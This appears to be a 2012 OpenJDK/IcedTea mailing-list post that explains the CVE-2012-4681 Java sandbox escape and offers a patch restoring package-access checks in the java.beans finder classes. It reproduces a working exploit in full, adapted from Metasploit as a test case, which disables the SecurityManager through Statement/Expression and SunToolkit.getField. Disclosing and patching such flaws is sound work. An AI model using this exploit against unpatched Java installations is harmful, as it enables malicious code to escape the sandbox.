Hi, I was looking at some public exploit in metasploit that apparently is being actively used. https://raw.github.com/rapid7/metasploit-framework/master/external/source/exploits/CVE-2012-4681/Exploit.java
It is a cute, but evil exploit. It abuses java.beans.Statement/Expression to get a reference to a method in a restricted package and then uses that method (sun.awt.SunToolkit.getField) to get and set the access control context field of the Statement itself. After which it can just use the Statement to disable the SecurityManager. The reason this works is because Statement used to guard against getting access to Methods, Fields and Constructors of restricted packages, but with the following change: 6788531: java.beans.Statement imposes excessive access control (revision e02f2d591cd5) http://hg.openjdk.java.net/jdk7/jdk7/jdk/rev/e02f2d591cd5 these checks seem to have been forgotten in the rewrite. The old FieldUtil, MethodUtil and ContructorUtil code had them, while the new ConstructorFinder, FieldFinder and MethodFinder don't. The following patch (against icedtea7, sorry Andrew I still haven't figured out the forest stuff, but it should apply cleanly against the openjdk 7 forest too) reintroduces the PackageAccessible checks. diff -r 727519ab8096 Makefile.am --- a/Makefile.am Fri Aug 24 01:53:20 2012 +0100 +++ b/Makefile.am Wed Aug 29 11:23:11 2012 +0200 @@ -245,7 +245,8 @@ patches/werror-langtools.patch \ patches/werror-hotspot.patch \ patches/no_diz_files.patch \ - patches/7192804-jvisualvm.patch + patches/7192804-jvisualvm.patch \ + patches/beans-isPackageAccessible.patch # Conditional patches Also attached is a small adaptation of the metasploit testcase that can be run with: java -Djava.security.manager Exploit Which shows the issue when a security manager is installed and that it is back to the old behavior of denying access after the patch. We should probably turn that into a jtreg testcase. I have only very lightly tested it but this code is somewhat hairy, so some extra pair of eyes and some more testing would not be a bad thing. I do think it makes sense to try to do an icedtea/openjdk release with this (or some other/better) fix ASAP because it seems to be actively exploited in the wild. Cheers, Mark
diff -r 9b8c96f96a0f src/share/classes/com/sun/beans/finder/ConstructorFinder.java --- openjdk/jdk/src/share/classes/com/sun/beans/finder/ConstructorFinder.java Mon Jun 27 13:21:34 2011 -0700 +++ openjdk/jdk/src/share/classes/com/sun/beans/finder/ConstructorFinder.java Wed Aug 29 09:52:11 2012 +0200 @@ -29,6 +29,8 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Modifier; +import sun.reflect.misc.ReflectUtil; + /** * This utility class provides {@code static} methods * to find a public constructor with specified parameter types @@ -61,7 +63,8 @@ if (Modifier.isAbstract(type.getModifiers())) { throw new NoSuchMethodException("Abstract class cannot be instantiated"); } - if (!Modifier.isPublic(type.getModifiers())) { + if (!ReflectUtil.isPackageAccessible(type) + || !Modifier.isPublic(type.getModifiers())) { throw new NoSuchMethodException("Class is not accessible"); } PrimitiveWrapperMap.replacePrimitivesWithWrappers(args); diff -r 9b8c96f96a0f src/share/classes/com/sun/beans/finder/FieldFinder.java --- openjdk/jdk/src/share/classes/com/sun/beans/finder/FieldFinder.java Mon Jun 27 13:21:34 2011 -0700 +++ openjdk/jdk/src/share/classes/com/sun/beans/finder/FieldFinder.java Wed Aug 29 09:52:11 2012 +0200 @@ -27,6 +27,8 @@ import java.lang.reflect.Field; import java.lang.reflect.Modifier; +import sun.reflect.misc.ReflectUtil; + /** * This utility class provides {@code static} methods * to find a public field with specified name @@ -56,7 +58,8 @@ if (!Modifier.isPublic(field.getModifiers())) { throw new NoSuchFieldException("Field '" + name + "' is not public"); } - if (!Modifier.isPublic(field.getDeclaringClass().getModifiers())) { + if (!ReflectUtil.isPackageAccessible(field.getDeclaringClass()) || + !Modifier.isPublic(field.getDeclaringClass().getModifiers())) { throw new NoSuchFieldException("Field '" + name + "' is not accessible"); } return field; diff -r 9b8c96f96a0f src/share/classes/com/sun/beans/finder/MethodFinder.java --- openjdk/jdk/src/share/classes/com/sun/beans/finder/MethodFinder.java Mon Jun 27 13:21:34 2011 -0700 +++ openjdk/jdk/src/share/classes/com/sun/beans/finder/MethodFinder.java Wed Aug 29 09:52:11 2012 +0200 @@ -33,6 +33,8 @@ import java.lang.reflect.Type; import java.util.Arrays; +import sun.reflect.misc.ReflectUtil; + /** * This utility class provides {@code static} methods * to find a public method with specified name and parameter types @@ -120,7 +122,8 @@ */ public static Method findAccessibleMethod(Method method) throws NoSuchMethodException { Class<?> type = method.getDeclaringClass(); - if (Modifier.isPublic(type.getModifiers())) { + if (ReflectUtil.isPackageAccessible(type) + && Modifier.isPublic(type.getModifiers())) { return method; } if (Modifier.isStatic(method.getModifiers())) {
// // CVE-2012-XXXX Java 0day // // reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate; public class Exploit { public Exploit() { } public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] { localProtectionDomain }); SetField(Statement.class, "acc", localStatement, localAccessControlContext); localStatement.execute(); } private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, "forName", arrayOfObject); localExpression.execute(); return (Class)localExpression.getValue(); } private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2) throws Throwable { Object arrayOfObject[] = new Object[2]; arrayOfObject[0] = paramClass; arrayOfObject[1] = paramString; Class c = GetClass("sun.awt.SunToolkit"); Expression localExpression = new Expression(c, "getField", arrayOfObject); localExpression.execute(); ((Field)localExpression.getValue()).set(paramObject1, paramObject2); } public static void main(String args[]) { System.out.println("SecurityManager: " + System.getSecurityManager()); try { new Exploit().disableSecurity(); } catch(Throwable localThrowable) { localThrowable.printStackTrace(); } System.out.println("SecurityManager: " + System.getSecurityManager()); } }